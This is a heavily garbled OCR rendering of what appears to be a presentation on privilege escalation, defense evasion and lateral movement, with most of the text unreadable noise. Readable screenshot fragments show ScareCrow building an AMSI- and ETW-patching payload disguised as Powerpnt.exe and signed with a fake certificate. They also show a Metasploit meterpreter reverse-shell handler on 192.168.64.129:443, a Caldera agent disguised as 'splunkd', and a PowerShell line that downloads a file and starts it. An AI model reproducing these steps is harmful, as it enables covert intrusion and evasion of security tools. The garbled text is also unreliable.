(vaU'”Sl‘:IUl3ng'8V‘Zj nﬂvU@evaemdvativ’iggjﬂsyeegsp U3U;oe’eseu09
U sUUaU00eUUsayY Welhd Us aclme oyl alalic UtisUGUUa « GUU 3U eds3
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69Privilege ES&adarteée©mow

’ Peter
(o) Horizontal Privilege Escalation ™
@ <@

Koo HaABTr i vidsdaleat i on

¢ Ksalecghld Prevsdeyge (EUs;ceaeanstbchxarU)Q U0cssayd ~89g G} C
U sUsdyeUsss 99U 30 U ealUeiicgs gyc{ahUU;ﬁJerUgneUGE!sﬁsa
U saUsdyeUsess UG0gecs3Y U’eaUeis Ujcesoay ;f]uquq a0 ys3U0 u
6) Us¥gesUUs UgadeysU Jje3hesU osU V] }GGY}‘QCI eggs aU
"UysaUeby¥ssegs Uds UeeUUYaaUgud UUg Ug gdz a D@gs L°J Udee
Ug UdUsitiafP668pP. Uds UsUUaylicge USddr e@eSicwme e dircesaiiss ge30U Ue
Uy oUaUae UsescUsi otlUsalU "ag Gb}Z{OQ B & y | i) $Jes’ GCI]‘EDU Ud
U elUioegs Uds 030G3°g°a{1tDe@sﬁ“&ﬁil@ﬁsrlg’cﬁmcﬂlertlted’atnldon
Responsee@) byid Usamt t dbepfiatlf edlad UsUvyaGU0GUd2aU0d3s UUe
Obfuscated Files or I nformation.

. _ \./ _V V. _\NV Vv /

SN N B VAN AN | \NC <> ) /
/__| N >\ _ \ / N/N_/

V V

(aTyleus)
“Fear, you must understand is more than a mere obstacle.
Fear is a TEACHER. the first one you ever had.”

Koo HBMAs Uypdldirde Cr o w

?UvassYSdJarUeeGJrcf]WkLﬂdl i nmuaxc h ie g . Eeae ' hd sug UaszUs 30
"y habUOGd oUs GU Ui UUye 63hHse 30 oav¥saegeU U UiadGd U
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/opt/ScareCrow

CeoImporta e.bin README.md ScareCrow c o go.mod go.sum main.json shel

Koo flslpde a6 g Ceml mpaoog t ambtiMes sage

mdsseg;oe+S@eU¢WMpGUaetlW%swammebHﬁasUa y3U ugUusah
UyosyclUs UpagUlgmileag ¥e U0a UG UWian diddiMil i’ § Bdie WdeGUs 3U Ggsl
el Ud UuUosUidgaad 192.168.64.129 eyar UNdardirjeber 443
Ul yeeaUUd GUe3 U sUsdyeUse "~ jJ HOBUGG GUe Gi GUdeU.
/opt/ScareCrow
I CeoImportantMessage.bin -domain ww.papei.com
NV v/
) /
/7 NINCS
(@Tylous)
“Fear, you must understand is more than a mere obstacle.
Fear is a TEACHER. the first one you ever had.”
Shellcode Encrypted
Patched ETW Enabled
Patched AMSI Enabled
Sleep Timer set for 2802 milliseconds
Creating an Embedded Resource File
Created Embedded Resource File With Powerpnt's Properties
Compiling Payload
Payload Compiled
Signing Powerpnt.exe With a Fake Cert
Signed File Created
Binary Compiled
Sha256 hash of Powerpnt.exe: fba2569c3bb5055779f1a@6b4cfc5a7ce@aec6e3050feb578bbas3b69912b%ea
Koo fMBR2pde sesglexel Usg
pdeossgyoetdlUel 2x8U00p tPhdeniplepde@ 6 caa:
1 z9eU0alUs sﬁsthUDQ 3heoseeg @a6o90ec90ai .
i BUj UayYe UUs e£deUssitce ®&TYPAMSbe3Ugldd h ¥d
1 Ka3 Us e;g’er;UuQayse 29U s3UangileseyygUs Uq
i 37 603 YGOUUs yUguid €U0 "s0Ues 6adqUsoeafh o050 3U
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certificate.pem Powerpnt.exe

Al

.0 MiB (4198250 bytes) | Free space: 23.

Koo HHBU) cUas
ToWosGYoegeUsBU ys3

|
msf6 >
msf6 > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > set payload windows/x64/meterpreter_reverse_tcp
payload = windows/x64/meterpreter_reverse_tcp

msf6 exploit( ) > set lhost 192.168.64.129
lhost = 192.168.64.129

msf6 exploit( ) > set lport 443

lport = 443

msf6 exploit( ) > run

Started reverse TCP handler on 192.168.64.129:443

AooH®HMBUsUsese 09U GgsluytUsd
TysegeU ejeidd Ve g a adp bﬁJano@ngantbctNOJrikdrsea/ueqrslesf]TgCP

(

handé ee ,saed UsUey3Us UsiUjoclhechlbselgds ¢liagasdi.y 6 Usd U f Us

D: \Powerpnt exe *

° D:\Powerpnt.exe

Operation did not complete successfully because the file contains a virus or potentially
unwanted software.

Koofl®dB) "sUj e e UaUyalidd
. ¢ Ustle esadid U ' h Ues (i tWRoWedPasadazrhdoldelaYuddnidse
Uy cUaRowWegPbl:mnty ey Ua 30 UsUUaUGUUa, U Usitie ycUs Uy U
e lgsBaydi e qUePewemtiicalelfy (Unwant ed Software).
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o1 SignaBaseBetectigpm UjcUas UUsys¥sls eU o
sUafhbsgasg ac6oslesosaaci U’ Ihereincbé?‘ruq duUleeys¥ys Uegg
T Heur Asitail y sdes Uy cUae ¢ 83 Ua 30 yeUs Uy UsaUdy
aUsahbegace a6 palcekswabif u(s'¢.act.i,on
) 1 _ Reallinferot ectginar i efeU; U Uds UsUyaUid Usg U
Ue UsUR sl U.
6.10Lateral MoVd&maeinder a
\ g B
\
\ O
\\ \\ ’,9
& 0
Attacker " Initial .
| compromised \\\ ‘
// server \\A @
- [
:
Koo fbBat eroavle men't
¢ HaUg;saeLaIceerqaﬂq Moy Einen® P Us GUsd UUcszseyd “8g o
U sUsdyeUsass 295U y hlidbUGd aUs yaUoece U eeUsygleysys |
"Uy9aUcbyslUs UsUyUisdidd_ oUs ejyedd UjyoUaUavys U eels
UoWUdgUdy ar¥s, ll?JEJU 3U "UjyUeysesgs UdyUUes. | 1t UUjed G\
hyegd e UUiogll.ybYiad Uecast t'ddala@redViodd UsUyaaOUUs aUds
T1059 - -PdOvter Shel |
ou G;qﬁssve'e@gelﬁuk@ﬁ:@f) UsU ¢ eyylegel 30 U salelasgel
UslGyadegeUl oUs GUds CGg3vye y 950 30 ¢ eyyltiegeU 30U oaY3cgs
oY e98 oaUsfhbegae " hoy Uvs Bivdes LU’;%&:GL&.IadJ@uygeLJ@sgszt"JsNU aUals
UsesosgUgH oaplesmeamrUcre(ame)ww reg Us 0" U+Gdl\d{IaTURGEUf[;0rUa1 % on
G;@ﬁsge’GSUGUU9 29U UgUGS”UUG'Gsd€y3Ug usaseyd Ufll’]Ya”LOJG
29U 30 “"jeteeasast3lUs Usgd UCJGssag@gVegs)a;tbéJa‘]estsqasaajsﬁUeis
031 GdMO G BT ECKMat rixy e oUseyszeg 30U UsseasoelilUs Uds UsdUs
e UsoalUisg U y3U3Us U0 "sdUsyd U Useyd[66].

JGGyaUsU G0 GgGUee 00U U¥s Windows 11 aUs Windows Seru®r 2025



U000 UgeosUse @sUU) sbe golopdsaidd
B BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBDBBBIBB
Deploy an agent

Agent

Sandcat | Caldera's default agent, written in GeLang. Communicates through the HTTP(S) contact by default. ™

Platform

O 8 o ™%

linux windows

app.contact.http http://0.0.0.
agents.implant_name splunkd

agent.extensions

KooflblTal degant

U, U y¥ysy bay 6gel AHUs:
1 ¢ ~aU0UGHhRyeU Ueg aUf IGIg]d@‘W$JS O saU0oU0a ~¥d
Al oagedasUs o) Ueeys & Ling smaioBiuwrtHIT P B) v
eU BGeammand and Closnlaeoel s dD2.)

>S5 C:\Users\dimit> $server ;$url=-"$server ; fwc-New-Object System.Net.WebClient;$wc.Headers.add(
tes( $data) | out-null;star "ocess C:\Users\Public\splunkd.exe $server

Aoof®B "eUjc e 3stcrigesds cle

g dieU UyyeUs OGUspdavwenshkealjied UHdYade Balldgr de
oy egeU hUs eU0Ud yyeUUUThBaerigptmes s coonstgesnlt as <
beebn ockkywydwamti sdbf twa :seaSLtsr|<p<tConta nedivlallﬁ):ar_\puesg:@lntfgama
Uavi nd ded emidddr U° e UUaUGeUUsoa Y. sdU U3y, sU o20s0 Usgd
Uas Us
1 TUUybUGeU oUs U edealUgidq UgUlissai Uy cUaas
ideosegyoUa e UsUUaUdae e Ulisfe cWel KealliVéUac ide Us Usan
y3uUssad eUehbega-cig’ Gy uUaUdqyeahUqUUY.
1 KaUyoaUid Udg aFMr;ta;d}msasgﬂs(Uea«yg’ "eg UsaUUasi 3 "}
UgURe OUU Uas3Us Ggcmarl waned U sdyaUxs
1 ) "h " Usey U Uon;Urumfgbr)wlbe;éaecu;awwd;(Lé:ﬁtﬂ!m@aatal "
3U tsUoj UGUa Ue oUshbesges UjyeUase UVUasUs oassse ~ Us
aGc3d.
1 pU3s yeUs yooag)d ydisUee g 6oy) Ulle, o2Uoseshd
1 OcUs o93vGUe oaUsahbegoad lGecantUgi b¥dd utUllscey
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